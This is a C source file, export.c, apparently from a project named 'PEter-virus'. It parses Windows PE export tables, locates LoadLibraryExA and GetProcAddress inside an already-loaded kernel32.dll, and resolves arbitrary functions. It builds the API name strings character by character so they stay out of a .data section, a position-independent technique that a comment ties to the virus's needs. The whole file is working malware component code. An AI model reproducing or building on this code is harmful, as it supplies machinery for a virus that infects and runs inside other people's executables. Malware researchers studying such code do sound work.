PEter-virus/export.c

121 lines
3.9 KiB
C

#include "export.h"
IMAGE_EXPORT_DIRECTORY *get_loaded_export_hdr(void *image)
{
IMAGE_DOS_HEADER *dos;
IMAGE_NT_HEADERS32 *nt32;
IMAGE_NT_HEADERS64 *nt64;
IMAGE_FILE_HEADER *file;
IMAGE_OPTIONAL_HEADER32 *opt32;
IMAGE_OPTIONAL_HEADER64 *opt64;
dos = (IMAGE_DOS_HEADER *)image;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
nt32 = (IMAGE_NT_HEADERS32*)&((char*)image)[dos->e_lfanew];
if (nt32->Signature != IMAGE_NT_SIGNATURE) return NULL;
file = &nt32->FileHeader;
if (IMAGE_FILE_MACHINE_I386 == file->Machine)
{
opt32 = &nt32->OptionalHeader;
return (IMAGE_EXPORT_DIRECTORY *)&((char *)image)
[opt32->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
.VirtualAddress];
}
else if (IMAGE_FILE_MACHINE_AMD64 == file->Machine)
{
nt64 = (IMAGE_NT_HEADERS64*)nt32;
opt64 = &nt64->OptionalHeader;
return (IMAGE_EXPORT_DIRECTORY *)&((char *)image)
[opt64->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
.VirtualAddress];
}
else return NULL;
}
/////////////////////////////////////////////////
void *get_loaded_export_function_by_name(void *image, char *name)
{
IMAGE_EXPORT_DIRECTORY *export;
uint32_t *eft, *ent; //functions, names
uint16_t *eot; //offsets
export = get_loaded_export_hdr(image);
if (NULL == export) return NULL;
eft = (uint32_t *)&((char *)image)[export->AddressOfFunctions];
ent = (uint32_t *)&((char *)image)[export->AddressOfNames];
eot = (uint16_t *)&((char *)image)[export->AddressOfNameOrdinals];
for (int i = 0; i < export->NumberOfNames; i++)
{
if (0 == pic_strncmp((char *)&((char *)image)[ent[i]],
name, pic_strlen(name)))
return (char *)&((char*)image)[eft[eot[i]]];
}
return NULL;
}
/////////////////////////////////////////////////
/*kernelMZ is a pointer on the mz signature of the kernel32.dll
*which is loaded somewhere in the calling processes address space */
__attribute__((sysv_abi) )void *get_function_from_lib_by_kernelMZ(void *kernelMZ, char *libName,
char *funcName)
{
char loadLibraryName[15];
char getProcAddrName[15];
void *dll;
llib loadLibrary;
gpa getProcAddr;
//i know it looks ugly but we have to endure it
//sine we mustn't have the string in a seperate .data section
loadLibraryName[0] = 'L';
loadLibraryName[1] = 'o';
loadLibraryName[2] = 'a';
loadLibraryName[3] = 'd';
loadLibraryName[4] = 'L';
loadLibraryName[5] = 'i';
loadLibraryName[6] = 'b';
loadLibraryName[7] = 'r';
loadLibraryName[8] = 'a';
loadLibraryName[9] = 'r';
loadLibraryName[10] = 'y';
loadLibraryName[11] = 'E';
loadLibraryName[12] = 'x';
loadLibraryName[13] = 'A';
loadLibraryName[14] = '\x00';
getProcAddrName[0] = 'G';
getProcAddrName[1] = 'e';
getProcAddrName[2] = 't';
getProcAddrName[3] = 'P';
getProcAddrName[4] = 'r';
getProcAddrName[5] = 'o';
getProcAddrName[6] = 'c';
getProcAddrName[7] = 'A';
getProcAddrName[8] = 'd';
getProcAddrName[9] = 'd';
getProcAddrName[10] = 'r';
getProcAddrName[11] = 'e';
getProcAddrName[12] = 's';
getProcAddrName[13] = 's';
getProcAddrName[14] = '\x00';
loadLibrary = get_loaded_export_function_by_name(kernelMZ,
loadLibraryName);
getProcAddr = get_loaded_export_function_by_name(kernelMZ,
getProcAddrName);
if (NULL == loadLibrary) return NULL;
if (NULL == libName) {
dll = kernelMZ;
}
else {
dll = loadLibrary(libName, 0, 0);
}
if (NULL == dll) return NULL;
if (NULL == getProcAddr) return NULL;
return getProcAddr(dll, funcName);
}